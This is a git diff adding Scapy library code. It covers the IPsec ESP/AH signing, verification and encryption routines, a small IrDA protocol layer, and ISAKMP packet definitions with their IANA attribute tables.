+    def sign(self, pkt, key):
+        """
+        Sign an IPsec (ESP or AH) packet with this algo.
+
+        @param pkt:    a packet that contains a valid encrypted ESP or AH layer
+        @param key:    the authentication key, a byte string
+
+        @return: the signed packet
+        """
+        if not self.mac:
+            return pkt
+
+        mac = self.new_mac(key)
+
+        if pkt.haslayer(ESP):
+            mac.update(raw(pkt[ESP]))
+            pkt[ESP].data += mac.finalize()[:self.icv_size]
+
+        elif pkt.haslayer(AH):
+            clone = zero_mutable_fields(pkt.copy(), sending=True)
+            mac.update(raw(clone))
+            pkt[AH].icv = mac.finalize()[:self.icv_size]
+
+        return pkt
+
+    def verify(self, pkt, key):
+        """
+        Check that the integrity check value (icv) of a packet is valid.
+
+        @param pkt:    a packet that contains a valid encrypted ESP or AH layer
+        @param key:    the authentication key, a byte string
+
+        @raise IPSecIntegrityError: if the integrity check fails
+        """
+        if not self.mac or self.icv_size == 0:
+            return
+
+        mac = self.new_mac(key)
+
+        pkt_icv = 'not found'
+        computed_icv = 'not computed'
+
+        if isinstance(pkt, ESP):
+            pkt_icv = pkt.data[len(pkt.data) - self.icv_size:]
+            clone = pkt.copy()
+            clone.data = clone.data[:len(clone.data) - self.icv_size]
+
+        elif pkt.haslayer(AH):
+            if len(pkt[AH].icv) != self.icv_size:
+                # Fill padding since we know the actual icv_size
+                pkt[AH].padding = pkt[AH].icv[self.icv_size:]
+                pkt[AH].icv = pkt[AH].icv[:self.icv_size]
+            pkt_icv = pkt[AH].icv
+            clone = zero_mutable_fields(pkt.copy(), sending=False)
+
+        mac.update(raw(clone))
+        computed_icv = mac.finalize()[:self.icv_size]
+
+        # XXX: Cannot use mac.verify because the ICV can be truncated
+        if pkt_icv != computed_icv:
+            raise IPSecIntegrityError('pkt_icv=%r, computed_icv=%r' %
+                                      (pkt_icv, computed_icv))
+
+#------------------------------------------------------------------------------
+# The names of the integrity algorithms are the same than in scapy.contrib.ikev2
+# see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml
+
+AUTH_ALGOS = {
+    'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0),
+}
+
+if HMAC and hashes:
+    # XXX: NIST has deprecated SHA1 but is required by RFC7321
+    AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96',
+                                          mac=HMAC,
+                                          digestmod=hashes.SHA1,
+                                          icv_size=12)
+    AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128',
+                                          mac=HMAC,
+                                          digestmod=hashes.SHA256,
+                                          icv_size=16)
+    AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192',
+                                          mac=HMAC,
+                                          digestmod=hashes.SHA384,
+                                          icv_size=24)
+    AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256',
+                                          mac=HMAC,
+                                          digestmod=hashes.SHA512,
+                                          icv_size=32)
+    # XXX:Flagged as deprecated by 'cryptography'. Kept for backward compat
+    AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96',
+                                         mac=HMAC,
+                                         digestmod=hashes.MD5,
+                                         icv_size=12)
+if CMAC and algorithms:
+    AUTH_ALGOS['AES-CMAC-96'] = AuthAlgo('AES-CMAC-96',
+                                      mac=CMAC,
+                                      digestmod=algorithms.AES,
+                                      icv_size=12,
+                                      key_size=(16,))
+
+#------------------------------------------------------------------------------
+def split_for_transport(orig_pkt, transport_proto):
+    """
+    Split an IP(v6) packet in the correct location to insert an ESP or AH
+    header.
+
+    @param orig_pkt: the packet to split. Must be an IP or IPv6 packet
+    @param transport_proto: the IPsec protocol number that will be inserted
+                            at the split position.
+    @return: a tuple (header, nh, payload) where nh is the protocol number of
+             payload.
+    """
+    # force resolution of default fields to avoid padding errors
+    header = orig_pkt.__class__(raw(orig_pkt))
+    next_hdr = header.payload
+    nh = None
+
+    if header.version == 4:
+        nh = header.proto
+        header.proto = transport_proto
+        header.remove_payload()
+        del header.chksum
+        del header.len
+
+        return header, nh, next_hdr
+    else:
+        found_rt_hdr = False
+        prev = header
+
+        # Since the RFC 4302 is vague about where the ESP/AH headers should be
+        # inserted in IPv6, I chose to follow the linux implementation.
+        while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)):
+            if isinstance(next_hdr, IPv6ExtHdrHopByHop):
+                pass
+            if isinstance(next_hdr, IPv6ExtHdrRouting):
+                found_rt_hdr = True
+            elif isinstance(next_hdr, IPv6ExtHdrDestOpt) and found_rt_hdr:
+                break
+
+            prev = next_hdr
+            next_hdr = next_hdr.payload
+
+        nh = prev.nh
+        prev.nh = transport_proto
+        prev.remove_payload()
+        del header.plen
+
+        return header, nh, next_hdr
+
+#------------------------------------------------------------------------------
+# see RFC 4302 - Appendix A. Mutability of IP Options/Extension Headers
+IMMUTABLE_IPV4_OPTIONS = (
+    0, # End Of List
+    1, # No OPeration
+    2, # Security
+    5, # Extended Security
+    6, # Commercial Security
+    20, # Router Alert
+    21, # Sender Directed Multi-Destination Delivery
+)
+def zero_mutable_fields(pkt, sending=False):
+    """
+    When using AH, all "mutable" fields must be "zeroed" before calculating
+    the ICV. See RFC 4302, Section 3.3.3.1. Handling Mutable Fields.
+
+    @param pkt: an IP(v6) packet containing an AH layer.
+                NOTE: The packet will be modified
+    @param sending: if true, ipv6 routing headers will not be reordered
+    """
+
+    if pkt.haslayer(AH):
+        pkt[AH].icv = b"\x00" * len(pkt[AH].icv)
+    else:
+        raise TypeError('no AH layer found')
+
+    if pkt.version == 4:
+        # the tos field has been replaced by DSCP and ECN
+        # Routers may rewrite the DS field as needed to provide a
+        # desired local or end-to-end service
+        pkt.tos = 0
+        # an intermediate router might set the DF bit, even if the source
+        # did not select it.
+        pkt.flags = 0
+        # changed en route as a normal course of processing by routers
+        pkt.ttl = 0
+        # will change if any of these other fields change
+        pkt.chksum = 0
+
+        immutable_opts = []
+        for opt in pkt.options:
+            if opt.option in IMMUTABLE_IPV4_OPTIONS:
+                immutable_opts.append(opt)
+            else:
+                immutable_opts.append(Raw(b"\x00" * len(opt)))
+        pkt.options = immutable_opts
+
+    else:
+        # holds DSCP and ECN
+        pkt.tc = 0
+        # The flow label described in AHv1 was mutable, and in RFC 2460 [DH98]
+        # was potentially mutable. To retain compatibility with existing AH
+        # implementations, the flow label is not included in the ICV in AHv2.
+        pkt.fl = 0
+        # same as ttl
+        pkt.hlim = 0
+
+        next_hdr = pkt.payload
+
+        while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)):
+            if isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt)):
+                for opt in next_hdr.options:
+                    if opt.otype & 0x20:
+                        # option data can change en-route and must be zeroed
+                        opt.optdata = b"\x00" * opt.optlen
+            elif isinstance(next_hdr, IPv6ExtHdrRouting) and sending:
+                # The sender must order the field so that it appears as it
+                # will at the receiver, prior to performing the ICV computation.
+                next_hdr.segleft = 0
+                if next_hdr.addresses:
+                    final = next_hdr.addresses.pop()
+                    next_hdr.addresses.insert(0, pkt.dst)
+                    pkt.dst = final
+            else:
+                break
+
+            next_hdr = next_hdr.payload
+
+    return pkt
+
+#------------------------------------------------------------------------------
+class SecurityAssociation(object):
+    """
+    This class is responsible of "encryption" and "decryption" of IPsec packets.
+    """
+
+    SUPPORTED_PROTOS = (IP, IPv6)
+
+    def __init__(self, proto, spi, seq_num=1, crypt_algo=None, crypt_key=None,
+                 auth_algo=None, auth_key=None, tunnel_header=None, nat_t_header=None):
+        """
+        @param proto: the IPsec proto to use (ESP or AH)
+        @param spi: the Security Parameters Index of this SA
+        @param seq_num: the initial value for the sequence number on encrypted
+                        packets
+        @param crypt_algo: the encryption algorithm name (only used with ESP)
+        @param crypt_key: the encryption key (only used with ESP)
+        @param auth_algo: the integrity algorithm name
+        @param auth_key: the integrity key
+        @param tunnel_header: an instance of a IP(v6) header that will be used
+                              to encapsulate the encrypted packets.
+        @param nat_t_header: an instance of a UDP header that will be used
+                             for NAT-Traversal.
+        """
+
+        if proto not in (ESP, AH, ESP.name, AH.name):
+            raise ValueError("proto must be either ESP or AH")
+        if isinstance(proto, six.string_types):
+            self.proto = eval(proto)
+        else:
+            self.proto = proto
+
+        self.spi = spi
+        self.seq_num = seq_num
+
+        if crypt_algo:
+            if crypt_algo not in CRYPT_ALGOS:
+                raise TypeError('unsupported encryption algo %r, try %r' %
+                                (crypt_algo, list(CRYPT_ALGOS)))
+            self.crypt_algo = CRYPT_ALGOS[crypt_algo]
+
+            if crypt_key:
+                salt_size = self.crypt_algo.salt_size
+                self.crypt_key = crypt_key[:len(crypt_key) - salt_size]
+                self.crypt_salt = crypt_key[len(crypt_key) - salt_size:]
+            else:
+                self.crypt_key = None
+                self.crypt_salt = None
+
+        else:
+            self.crypt_algo = CRYPT_ALGOS['NULL']
+            self.crypt_key = None
+
+        if auth_algo:
+            if auth_algo not in AUTH_ALGOS:
+                raise TypeError('unsupported integrity algo %r, try %r' %
+                                (auth_algo, list(AUTH_ALGOS)))
+            self.auth_algo = AUTH_ALGOS[auth_algo]
+            self.auth_key = auth_key
+        else:
+            self.auth_algo = AUTH_ALGOS['NULL']
+            self.auth_key = None
+
+        if tunnel_header and not isinstance(tunnel_header, (IP, IPv6)):
+            raise TypeError('tunnel_header must be %s or %s' % (IP.name, IPv6.name))
+        self.tunnel_header = tunnel_header
+
+        if nat_t_header:
+            if proto is not ESP:
+                raise TypeError('nat_t_header is only allowed with ESP')
+            if not isinstance(nat_t_header, UDP):
+                raise TypeError('nat_t_header must be %s' % UDP.name)
+        self.nat_t_header = nat_t_header
+
+    def check_spi(self, pkt):
+        if pkt.spi != self.spi:
+            raise TypeError('packet spi=0x%x does not match the SA spi=0x%x' %
+                            (pkt.spi, self.spi))
+
+    def _encrypt_esp(self, pkt, seq_num=None, iv=None):
+
+        if iv is None:
+            iv = self.crypt_algo.generate_iv()
+        else:
+            if len(iv) != self.crypt_algo.iv_size:
+                raise TypeError('iv length must be %s' % self.crypt_algo.iv_size)
+
+        esp = _ESPPlain(spi=self.spi, seq=seq_num or self.seq_num, iv=iv)
+
+        if self.tunnel_header:
+            tunnel = self.tunnel_header.copy()
+
+            if tunnel.version == 4:
+                del tunnel.proto
+                del tunnel.len
+                del tunnel.chksum
+            else:
+                del tunnel.nh
+                del tunnel.plen
+
+            pkt = tunnel.__class__(raw(tunnel / pkt))
+
+        ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_ESP)
+        esp.data = payload
+        esp.nh = nh
+
+        esp = self.crypt_algo.pad(esp)
+        esp = self.crypt_algo.encrypt(self, esp, self.crypt_key)
+
+        self.auth_algo.sign(esp, self.auth_key)
+
+        if self.nat_t_header:
+            nat_t_header = self.nat_t_header.copy()
+            nat_t_header.chksum = 0
+            del nat_t_header.len
+            if ip_header.version == 4:
+                del ip_header.proto
+            else:
+                del ip_header.nh
+            ip_header /= nat_t_header
+
+        if ip_header.version == 4:
+            ip_header.len = len(ip_header) + len(esp)
+            del ip_header.chksum
+            ip_header = ip_header.__class__(raw(ip_header))
+        else:
+            ip_header.plen = len(ip_header.payload) + len(esp)
+
+        # sequence number must always change, unless specified by the user
+        if seq_num is None:
+            self.seq_num += 1
+
+        return ip_header / esp
+
+    def _encrypt_ah(self, pkt, seq_num=None):
+
+        ah = AH(spi=self.spi, seq=seq_num or self.seq_num,
+                icv = b"\x00" * self.auth_algo.icv_size)
+
+        if self.tunnel_header:
+            tunnel = self.tunnel_header.copy()
+
+            if tunnel.version == 4:
+                del tunnel.proto
+                del tunnel.len
+                del tunnel.chksum
+            else:
+                del tunnel.nh
+                del tunnel.plen
+
+            pkt = tunnel.__class__(raw(tunnel / pkt))
+
+        ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_AH)
+        ah.nh = nh
+
+        if ip_header.version == 6 and len(ah) % 8 != 0:
+            # For IPv6, the total length of the header must be a multiple of
+            # 8-octet units.
+            ah.padding = b"\x00" * (-len(ah) % 8)
+        elif len(ah) % 4 != 0:
+            # For IPv4, the total length of the header must be a multiple of
+            # 4-octet units.
+            ah.padding = b"\x00" * (-len(ah) % 4)
+
+        # RFC 4302 - Section 2.2. Payload Length
+        # This 8-bit field specifies the length of AH in 32-bit words (4-byte
+        # units), minus "2".
+        ah.payloadlen = len(ah) // 4 - 2
+
+        if ip_header.version == 4:
+            ip_header.len = len(ip_header) + len(ah) + len(payload)
+            del ip_header.chksum
+            ip_header = ip_header.__class__(raw(ip_header))
+        else:
+            ip_header.plen = len(ip_header.payload) + len(ah) + len(payload)
+
+        signed_pkt = self.auth_algo.sign(ip_header / ah / payload, self.auth_key)
+
+        # sequence number must always change, unless specified by the user
+        if seq_num is None:
+            self.seq_num += 1
+
+        return signed_pkt
+
+    def encrypt(self, pkt, seq_num=None, iv=None):
+        """
+        Encrypt (and encapsulate) an IP(v6) packet with ESP or AH according
+        to this SecurityAssociation.
+
+        @param pkt:     the packet to encrypt
+        @param seq_num: if specified, use this sequence number instead of the
+                        generated one
+        @param iv:      if specified, use this initialization vector for
+                        encryption instead of a random one.
+
+        @return: the encrypted/encapsulated packet
+        """
+        if not isinstance(pkt, self.SUPPORTED_PROTOS):
+            raise TypeError('cannot encrypt %s, supported protos are %s'
+                            % (pkt.__class__, self.SUPPORTED_PROTOS))
+        if self.proto is ESP:
+            return self._encrypt_esp(pkt, seq_num=seq_num, iv=iv)
+        else:
+            return self._encrypt_ah(pkt, seq_num=seq_num)
+
+    def _decrypt_esp(self, pkt, verify=True):
+
+        encrypted = pkt[ESP]
+
+        if verify:
+            self.check_spi(pkt)
+            self.auth_algo.verify(encrypted, self.auth_key)
+
+        esp = self.crypt_algo.decrypt(self, encrypted, self.crypt_key,
+                                      self.crypt_algo.icv_size or
+                                      self.auth_algo.icv_size)
+
+        if self.tunnel_header:
+            # drop the tunnel header and return the payload untouched
+
+            pkt.remove_payload()
+            if pkt.version == 4:
+                pkt.proto = esp.nh
+            else:
+                pkt.nh = esp.nh
+            cls = pkt.guess_payload_class(esp.data)
+
+            return cls(esp.data)
+        else:
+            ip_header = pkt
+
+            if ip_header.version == 4:
+                ip_header.proto = esp.nh
+                del ip_header.chksum
+                ip_header.remove_payload()
+                ip_header.len = len(ip_header) + len(esp.data)
+                # recompute checksum
+                ip_header = ip_header.__class__(raw(ip_header))
+            else:
+                encrypted.underlayer.nh = esp.nh
+                encrypted.underlayer.remove_payload()
+                ip_header.plen = len(ip_header.payload) + len(esp.data)
+
+            cls = ip_header.guess_payload_class(esp.data)
+
+            # reassemble the ip_header with the ESP payload
+            return ip_header / cls(esp.data)
+
+    def _decrypt_ah(self, pkt, verify=True):
+
+        if verify:
+            self.check_spi(pkt)
+            self.auth_algo.verify(pkt, self.auth_key)
+
+        ah = pkt[AH]
+        payload = ah.payload
+        payload.remove_underlayer(None)  # useless argument...
+
+        if self.tunnel_header:
+            return payload
+        else:
+            ip_header = pkt
+
+            if ip_header.version == 4:
+                ip_header.proto = ah.nh
+                del ip_header.chksum
+                ip_header.remove_payload()
+                ip_header.len = len(ip_header) + len(payload)
+                # recompute checksum
+                ip_header = ip_header.__class__(raw(ip_header))
+            else:
+                ah.underlayer.nh = ah.nh
+                ah.underlayer.remove_payload()
+                ip_header.plen = len(ip_header.payload) + len(payload)
+
+            # reassemble the ip_header with the AH payload
+            return ip_header / payload
+
+    def decrypt(self, pkt, verify=True):
+        """
+        Decrypt (and decapsulate) an IP(v6) packet containing ESP or AH.
+
+        @param pkt:     the packet to decrypt
+        @param verify:  if False, do not perform the integrity check
+
+        @return: the decrypted/decapsulated packet
+        @raise IPSecIntegrityError: if the integrity check fails
+        """
+        if not isinstance(pkt, self.SUPPORTED_PROTOS):
+            raise TypeError('cannot decrypt %s, supported protos are %s'
+                            % (pkt.__class__, self.SUPPORTED_PROTOS))
+
+        if self.proto is ESP and pkt.haslayer(ESP):
+            return self._decrypt_esp(pkt, verify=verify)
+        elif self.proto is AH and pkt.haslayer(AH):
+            return self._decrypt_ah(pkt, verify=verify)
+        else:
+            raise TypeError('%s has no %s layer' % (pkt, self.proto.name))
diff --git a/scapy/layers/ir.py b/scapy/layers/ir.py
new file mode 100644
index 0000000..90935aa
--- /dev/null
+++ b/scapy/layers/ir.py
@@ -0,0 +1,44 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+IrDA infrared data communication.
+"""
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.l2 import CookedLinux
+
+
+
+# IR
+
+class IrLAPHead(Packet):
+    name = "IrDA Link Access Protocol Header"
+    fields_desc = [ XBitField("Address", 0x7f, 7),
+                    BitEnumField("Type", 1, 1, {"Response":0,
+                                                "Command":1})]
+
+class IrLAPCommand(Packet):
+    name = "IrDA Link Access Protocol Command"
+    fields_desc = [ XByteField("Control", 0),
+                    XByteField("Format identifier", 0),
+                    XIntField("Source address", 0),
+                    XIntField("Destination address", 0xffffffff),
+                    XByteField("Discovery flags", 0x1),
+                    ByteEnumField("Slot number", 255, {"final":255}),
+                    XByteField("Version", 0)]
+
+
+class IrLMP(Packet):
+    name = "IrDA Link Management Protocol"
+    fields_desc = [ XShortField("Service hints", 0),
+                    XByteField("Character set", 0),
+                    StrField("Device name", "") ]
+
+
+bind_layers( CookedLinux,   IrLAPHead,     proto=23)
+bind_layers( IrLAPHead,     IrLAPCommand,  Type=1)
+bind_layers( IrLAPCommand,  IrLMP,         )
diff --git a/scapy/layers/isakmp.py b/scapy/layers/isakmp.py
new file mode 100644
index 0000000..c6d0f0a
--- /dev/null
+++ b/scapy/layers/isakmp.py
@@ -0,0 +1,353 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+ISAKMP (Internet Security Association and Key Management Protocol).
+"""
+
+from __future__ import absolute_import
+import struct
+from scapy.config import conf
+from scapy.packet import *
+from scapy.compat import *
+from scapy.fields import *
+from scapy.ansmachine import *
+from scapy.layers.inet import IP,UDP
+from scapy.sendrecv import sr
+from scapy.error import warning
+from functools import reduce
+
+
+# see http://www.iana.org/assignments/ipsec-registry for details
+ISAKMPAttributeTypes= { "Encryption":    (1, { "DES-CBC"  : 1,
+                                                "IDEA-CBC" : 2,
+                                                "Blowfish-CBC" : 3,
+                                                "RC5-R16-B64-CBC" : 4,
+                                                "3DES-CBC" : 5, 
+                                                "CAST-CBC" : 6, 
+                                                "AES-CBC" : 7, 
+                                                "CAMELLIA-CBC" : 8, }, 0),
+                         "Hash":          (2, { "MD5": 1,
+                                                "SHA": 2,
+                                                "Tiger": 3,
+                                                "SHA2-256": 4,
+                                                "SHA2-384": 5,
+                                                "SHA2-512": 6,}, 0),
+                         "Authentication":(3, { "PSK": 1, 
+                                                "DSS": 2,
+                                                "RSA Sig": 3,
+                                                "RSA Encryption": 4,
+                                                "RSA Encryption Revised": 5,
+                                                "ElGamal Encryption": 6,
+                                                "ElGamal Encryption Revised": 7,
+                                                "ECDSA Sig": 8,
+                                                "HybridInitRSA": 64221,
+                                                "HybridRespRSA": 64222,
+                                                "HybridInitDSS": 64223,
+                                                "HybridRespDSS": 64224,
+                                                "XAUTHInitPreShared": 65001,
+                                                "XAUTHRespPreShared": 65002,
+                                                "XAUTHInitDSS": 65003,
+                                                "XAUTHRespDSS": 65004,
+                                                "XAUTHInitRSA": 65005,
+                                                "XAUTHRespRSA": 65006,
+                                                "XAUTHInitRSAEncryption": 65007,
+                                                "XAUTHRespRSAEncryption": 65008,
+                                                "XAUTHInitRSARevisedEncryption": 65009,
+                                                "XAUTHRespRSARevisedEncryptio": 65010, }, 0),
+                         "GroupDesc":     (4, { "768MODPgr"  : 1,
+                                                "1024MODPgr" : 2, 
+                                                "EC2Ngr155"  : 3,
+                                                "EC2Ngr185"  : 4,
+                                                "1536MODPgr" : 5, 
+                                                "2048MODPgr" : 14, 
+                                                "3072MODPgr" : 15, 
+                                                "4096MODPgr" : 16, 
+                                                "6144MODPgr" : 17, 
+                                                "8192MODPgr" : 18, }, 0),
+                         "GroupType":      (5,  {"MODP":       1,
+                                                 "ECP":        2,
+                                                 "EC2N":       3}, 0),
+                         "GroupPrime":     (6,  {}, 1),
+                         "GroupGenerator1":(7,  {}, 1),
+                         "GroupGenerator2":(8,  {}, 1),
+                         "GroupCurveA":    (9,  {}, 1),
+                         "GroupCurveB":    (10, {}, 1),
+                         "LifeType":       (11, {"Seconds":     1,
+                                                 "Kilobytes":   2,  }, 0),
+                         "LifeDuration":   (12, {}, 1),
+                         "PRF":            (13, {}, 0),
+                         "KeyLength":      (14, {}, 0),
+                         "FieldSize":      (15, {}, 0),
+                         "GroupOrder":     (16, {}, 1),
+                         }
+
+# the name 'ISAKMPTransformTypes' is actually a misnomer (since the table 
+# holds info for all ISAKMP Attribute types, not just transforms, but we'll 
+# keep it for backwards compatibility... for now at least
+ISAKMPTransformTypes = ISAKMPAttributeTypes
+
+ISAKMPTransformNum = {}
+for n in ISAKMPTransformTypes:
+    val = ISAKMPTransformTypes[n]
+    tmp = {}
+    for e in val[1]:
+        tmp[val[1][e]] = e
+    ISAKMPTransformNum[val[0]] = (n,tmp, val[2])
+del(n)
+del(e)
+del(tmp)
+del(val)
+
+
+class ISAKMPTransformSetField(StrLenField):
+    islist=1
+    def type2num(self, type_val_tuple):
+        typ, val = type_val_tuple
+        type_val,enc_dict,tlv = ISAKMPTransformTypes.get(typ, (typ,{},0))
+        val = enc_dict.get(val, val)
+        s = b""
+        if (val & ~0xffff):
+            if not tlv:
+                warning("%r should not be TLV but is too big => using TLV encoding" % typ)
+            n = 0
+            while val:
+                s = chb(val&0xff)+s
+                val >>= 8
+                n += 1
+            val = n
+        else:
+            type_val |= 0x8000
+        return struct.pack("!HH",type_val, val)+s
+    def num2type(self, typ, enc):
+        val = ISAKMPTransformNum.get(typ,(typ,{}))
+        enc = val[1].get(enc,enc)
+        return (val[0],enc)
+    def i2m(self, pkt, i):
+        if i is None:
+            return b""
+        i = [self.type2num(e) for e in i]
+        return b"".join(i)
+    def m2i(self, pkt, m):
+        # I try to ensure that we don't read off the end of our packet based
+        # on bad length fields we're provided in the packet. There are still
+        # conditions where struct.unpack() may not get enough packet data, but
+        # worst case that should result in broken attributes (which would
+        # be expected). (wam)
+        lst = []
+        while len(m) >= 4:
+            trans_type, = struct.unpack("!H", m[:2])
+            is_tlv = not (trans_type & 0x8000)
+            if is_tlv:
+                # We should probably check to make sure the attribute type we
+                # are looking at is allowed to have a TLV format and issue a 
+                # warning if we're given an TLV on a basic attribute.
+                value_len, = struct.unpack("!H", m[2:4])
+                if value_len+4 > len(m):
+                    warning("Bad length for ISAKMP tranform type=%#6x" % trans_type)
+                value = m[4:4+value_len]
+                value = reduce(lambda x,y: (x<<8)|y, struct.unpack("!%s" % ("B"*len(value),), value),0)
+            else:
+                trans_type &= 0x7fff
+                value_len=0
+                value, = struct.unpack("!H", m[2:4])
+            m=m[4+value_len:]
+            lst.append(self.num2type(trans_type, value))
+        if len(m) > 0:
+            warning("Extra bytes after ISAKMP transform dissection [%r]" % m)
+        return lst
+
+
+ISAKMP_payload_type = ["None","SA","Proposal","Transform","KE","ID","CERT","CR","Hash",
+                       "SIG","Nonce","Notification","Delete","VendorID"]
+
+ISAKMP_exchange_type = ["None","base","identity prot.",
+                        "auth only", "aggressive", "info"]
+
+
+class ISAKMP_class(Packet):
+    def guess_payload_class(self, payload):
+        np = self.next_payload
+        if np == 0:
+            return conf.raw_layer
+        elif np < len(ISAKMP_payload_type):
+            pt = ISAKMP_payload_type[np]
+            return globals().get("ISAKMP_payload_%s" % pt, ISAKMP_payload)
+        else:
+            return ISAKMP_payload
+
+
+class ISAKMP(ISAKMP_class): # rfc2408
+    name = "ISAKMP"
+    fields_desc = [
+        StrFixedLenField("init_cookie","",8),
+        StrFixedLenField("resp_cookie","",8),
+        ByteEnumField("next_payload",0,ISAKMP_payload_type),
+        XByteField("version",0x10),
+        ByteEnumField("exch_type",0,ISAKMP_exchange_type),
+        FlagsField("flags",0, 8, ["encryption","commit","auth_only","res3","res4","res5","res6","res7"]), # XXX use a Flag field
+        IntField("id",0),
+        IntField("length",None)
+        ]
+
+    def guess_payload_class(self, payload):
+        if self.flags & 1:
+            return conf.raw_layer
+        return ISAKMP_class.guess_payload_class(self, payload)
+
+    def answers(self, other):
+        if isinstance(other, ISAKMP):
+            if other.init_cookie == self.init_cookie:
+                return 1
+        return 0
+    def post_build(self, p, pay):
+        p += pay
+        if self.length is None:
+            p = p[:24]+struct.pack("!I",len(p))+p[28:]
+        return p
+       
+
+
+
+class ISAKMP_payload_Transform(ISAKMP_class):
+    name = "IKE Transform"
+    fields_desc = [
+        ByteEnumField("next_payload",None,ISAKMP_payload_type),
+        ByteField("res",0),
+#        ShortField("len",None),
+        ShortField("length",None),
+        ByteField("num",None),
+        ByteEnumField("id",1,{1:"KEY_IKE"}),
+        ShortField("res2",0),
+        ISAKMPTransformSetField("transforms",None,length_from=lambda x:x.length-8)
+#        XIntField("enc",0x80010005L),
+#        XIntField("hash",0x80020002L),
+#        XIntField("auth",0x80030001L),
+#        XIntField("group",0x80040002L),
+#        XIntField("life_type",0x800b0001L),
+#        XIntField("durationh",0x000c0004L),
+#        XIntField("durationl",0x00007080L),
+        ]
+    def post_build(self, p, pay):
+        if self.length is None:
+            l = len(p)
+            p = p[:2]+chb((l>>8)&0xff)+chb(l&0xff)+p[4:]
+        p += pay
+        return p
+            
+
+
+        
+class ISAKMP_payload_Proposal(ISAKMP_class):
+    name = "IKE proposal"
+#    ISAKMP_payload_type = 0
+    fields_desc = [
+        ByteEnumField("next_payload",None,ISAKMP_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"trans","H", adjust=lambda pkt,x:x+8),
+        ByteField("proposal",1),
+        ByteEnumField("proto",1,{1:"ISAKMP"}),
+        FieldLenField("SPIsize",None,"SPI","B"),
+        ByteField("trans_nb",None),
+        StrLenField("SPI","",length_from=lambda x:x.SPIsize),
+        PacketLenField("trans",conf.raw_layer(),ISAKMP_payload_Transform,length_from=lambda x:x.length-8),
+        ]
+
+
+class ISAKMP_payload(ISAKMP_class):
+    name = "ISAKMP payload"
+    fields_desc = [
+        ByteEnumField("next_payload",None,ISAKMP_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4),
+        StrLenField("load","",length_from=lambda x:x.length-4),
+        ]
+
+
+class ISAKMP_payload_VendorID(ISAKMP_class):
+    name = "ISAKMP Vendor ID"
+    overload_fields = { ISAKMP: { "next_payload":13 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,ISAKMP_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4),
+        StrLenField("vendorID","",length_from=lambda x:x.length-4),
+        ]
+
+class ISAKMP_payload_SA(ISAKMP_class):
+    name = "ISAKMP SA"
+    overload_fields = { ISAKMP: { "next_payload":1 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,ISAKMP_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"prop","H", adjust=lambda pkt,x:x+12),
+        IntEnumField("DOI",1,{1:"IPSEC"}),
+        IntEnumField("situation",1,{1:"identity"}),
+        PacketLenField("prop",conf.raw_layer(),ISAKMP_payload_Proposal,length_from=lambda x:x.length-12),
+        ]
+
+class ISAKMP_payload_Nonce(ISAKMP_class):
+    name = "ISAKMP Nonce"
+    overload_fields = { ISAKMP: { "next_payload":10 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,ISAKMP_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4),
+        StrLenField("load","",length_from=lambda x:x.length-4),
+        ]
+
+class ISAKMP_payload_KE(ISAKMP_class):
+    name = "ISAKMP Key Exchange"
+    overload_fields = { ISAKMP: { "next_payload":4 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,ISAKMP_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4),
+        StrLenField("load","",length_from=lambda x:x.length-4),
+        ]
+
+class ISAKMP_payload_ID(ISAKMP_class):
+    name = "ISAKMP Identification"
+    overload_fields = { ISAKMP: { "next_payload":5 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,ISAKMP_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8),
+        ByteEnumField("IDtype",1,{1:"IPv4_addr", 11:"Key"}),
+        ByteEnumField("ProtoID",0,{0:"Unused"}),
+        ShortEnumField("Port",0,{0:"Unused"}),
+#        IPField("IdentData","127.0.0.1"),
+        StrLenField("load","",length_from=lambda x:x.length-8),
+        ]
+
+
+
+class ISAKMP_payload_Hash(ISAKMP_class):
+    name = "ISAKMP Hash"
+    overload_fields = { ISAKMP: { "next_payload":8 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,ISAKMP_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+4),
+        StrLenField("load","",length_from=lambda x:x.length-4),
+        ]
+
+
+
+ISAKMP_payload_type_overload = {}
+for i, payloadname in enumerate(ISAKMP_payload_type):
+    name = "ISAKMP_payload_%s" % payloadname
+    if name in globals():
+        ISAKMP_payload_type_overload[globals()[name]] = {"next_payload": i}
+
+del i, payloadname, name
+ISAKMP_class._overload_fields = ISAKMP_payload_type_overload.copy()
+
+
